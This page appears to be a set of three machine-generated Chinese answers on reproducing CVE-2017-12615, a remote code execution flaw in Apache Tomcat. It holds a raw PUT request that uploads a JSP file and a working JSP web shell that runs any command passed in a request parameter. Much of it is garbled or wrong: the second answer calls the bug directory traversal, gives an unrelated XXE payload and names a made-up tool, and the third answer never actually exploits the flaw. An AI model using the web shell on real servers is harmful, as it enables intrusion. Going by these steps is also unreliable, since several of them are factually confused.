cve-2017-12615漏洞复现
时间: 2023-05-31 17:19:10 浏览: 205
### 回答1:
cve-2017-12615漏洞是Apache Tomcat服务器中的一个远程代码执行漏洞。攻击者可以通过发送特定的HTTP请求来利用该漏洞,从而在服务器上执行任意代码。
要复现该漏洞,需要满足以下条件:
1. 目标服务器上运行的是Apache Tomcat 7..至7..79版本或8.5.至8.5.16版本。
2. 目标服务器上存在一个Web应用程序,其中包含一个可上传文件的Servlet。
3. 目标服务器上的Web应用程序未正确配置,允许攻击者上传包含恶意代码的JSP文件。
攻击者可以通过发送以下HTTP请求来利用该漏洞:
PUT /test.jsp/ HTTP/1.1
Host: target.com
Connection: close
Content-Length: 100
<% out.println("Hello, world!"); %>
其中,test.jsp是攻击者上传的包含恶意代码的JSP文件。攻击者还需要在请求中包含一个特殊的Content-Type头,以触发漏洞。
如果攻击成功,攻击者就可以在目标服务器上执行任意代码,包括获取敏感信息、修改数据或者控制整个服务器。因此,建议管理员及时升级Apache Tomcat服务器,或者对Web应用程序进行正确的配置和安全审计。
### 回答2:
CVE-2017-12615漏洞是Apache Tomcat中的一个目录遍历漏洞,它使得攻击者能够通过发送特定的HTTP请求,获取Tomcat服务器上应用程序的敏感信息。这种漏洞的原因是Tomcat默认启用了WebDAV(Web Distributed Authoring and Versioning)服务,攻击者可以发送特定的HTTP PUT请求利用该漏洞向服务器发送恶意的WAR文件,并且可以通过使用Windows UNC路径造成RCE漏洞。
下面是CVE-2017-12615漏洞的复现步骤:
1.安装Tomcat服务器
2.根据Tomcat的版本,下载特定的利用工具(e.g.,ysoserial.jar 或者wmx.jar)。
3.使用ysoserial.jar或者wmx.jar(如图所示)创建一个恶意文件,并通过PUT请求将它上传到目标服务器。
4.在表单中输入如下内容:
PUT /test.txt/WEB-INF/web.xml HTTP/1.1
Host: [Tomcat address]:[listening port]
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/xml
Content-Length: 284
<?xml version="1.0"?>
<!DOCTYPE x [
<!ELEMENT x ANY>
<!ENTITY % p1 SYSTEM "file:///c:/windows/system32/test.bat">
<!ENTITY % p2 "<!ENTITY p3 '′%p1;%p1;′'>">
%p2;%p3;
]>
5.从服务器上获取war文件并进行反序列化,验证漏洞是否真实存在。
6.如果漏洞存在,则攻击者可以使用该漏洞获取Tomcat服务器上应用程序的敏感信息,并且可以在服务器上执行任意命令。
为了缓解该漏洞产生的风险,我们可以通过禁用WebDAV服务、运行Tomcat服务器以非特权用户身份、 对上传文件类型进行限制, 或者升级最新的Tomcat版本等方式来解决该漏洞。
### 回答3:
CVE-2017-12615 是 Apache Tomcat 中的一个远程代码执行漏洞。该漏洞存在于 Tomcat 7.0.0 到 7.0.79 版本和 Tomcat 8.5.0 到 8.5.16 版本中。攻击者可以利用该漏洞通过 HTTP 协议上传恶意 JSP 文件并执行任意命令。
为了演示该漏洞的复现,我们需要先搭建一个虚拟机环境来运行 Apache Tomcat。在这里,我们以 Ubuntu 16.04.6 LTS 作为漏洞环境的操作系统。
安装 Apache Tomcat
首先,我们需要安装 Apache Tomcat。在终端窗口中执行以下命令:
sudo apt-get update
sudo apt-get install tomcat7
安装完成后,我们可以通过访问以下 URL 来确认 Tomcat 是否成功安装:
http://localhost:8080/
如果可以看到 Tomcat 的欢迎页面,则说明安装成功。
复现漏洞
接下来,我们需要复现 CVE-2017-12615 漏洞。步骤如下:
1. 创建一个名为 test.jsp 的 JSP 文件,该文件包含以下代码:
<%
if ("POST".equals(request.getMethod())) {
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
BufferedReader in = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line = in.readLine()) != null) {
out.println(line);
}
in.close();
}
%>
2. 通过以下命令创建一个名为 test.war 的 Web 应用程序文件:
jar -cvf test.war test.jsp
3. 接下来,我们需要在 Tomcat 的 webapps 目录下创建一个名为 test 目录。接着,将上传的 test.war 文件复制到该目录下:
sudo mkdir /var/lib/tomcat7/webapps/test
sudo mv test.war /var/lib/tomcat7/webapps/test/
4. 通过以下 URL 访问 test.jsp 文件,可以发现该页面中含有一个命令执行的输入框:
http://localhost:8080/test/test.jsp
5. 在输入框中输入以下命令,即可执行该命令并返回结果:
cmd=ls
我们可以看到,这个漏洞可以允许攻击者上传包含恶意代码的 JSP 文件并执行恶意命令,扰乱服务器系统。因此,我们需要对 Apache Tomcat 应用程序服务器进行及时修复。
阅读全文